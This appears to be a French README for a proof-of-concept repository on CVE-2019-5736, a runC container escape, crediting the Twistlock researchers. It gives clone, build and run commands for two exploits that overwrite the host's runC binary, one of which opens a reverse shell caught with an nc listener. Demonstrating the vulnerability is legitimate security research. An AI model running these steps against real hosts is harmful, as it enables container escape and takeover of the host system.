
Preuves de concept pour CVE-2019-5736, une vulnérabilité d'évasion de conteneur runC, démontrant la sortie de conteneur via des images malveillantes et des commandes exec.
Vidéo : https://bit.ly/2WqvILb
Article de blog : [www.idealhax.blogspot.com/2020/05/breaking-out-of-docker-via-runc.html]
Ici, je tiens à mentionner que le développeur original de cet exploit est Yuval Avrahami chez Twistlock Labs.
Notez que l'exécution des POCs écrasera le binaire runC sur l'hôte.
Il est fortement recommandé de créer une copie de votre binaire runC (normalement dans /usr/sbin/runc) avant d'exécuter l'un des POCs.
Clonez le dépôt :
$ git clone [email protected]:BBRathnayaka/RunC-CVE-2019-5736.git
Écrase runc avec un programme simple qui affiche une chaîne de caractères.
Exécution du POC exec :
$ docker build -t cve-2019-5736:exec_POC ./RunC-CVE-2019-5736/exec_POC
$ docker run -d --rm --name poc_ctr cve-2019-5736:exec_POC
$ docker exec poc_ctr bash
Écrase runc avec un simple script bash de reverse shell qui se connecte à localhost:2345.
Écoutez le reverse shell :
$ nc -nvlp 2345
Depuis un autre terminal, exécutez le POC d'image malveillante :
$ docker build -t cve-2019-5736:malicious_image_POC ./RunC-CVE-2019-5736/malicious_image_POC
$ docker run --rm cve-2019-5736:malicious_image_POC
Voir [Twistlock Labs](https://www.twistlock.com/labs-blog/breaking-docker-via-runc-explaining-cve-2019-5736/ "Expliquer CVE-2019-5736") pour une explication de CVE-2019-5736 et des POCs.
Le POC d'image malveillante s'inspire largement du [POC de q3k](https://github.com/q3k/cve-2019-5736-poc), tout le crédit lui revient donc.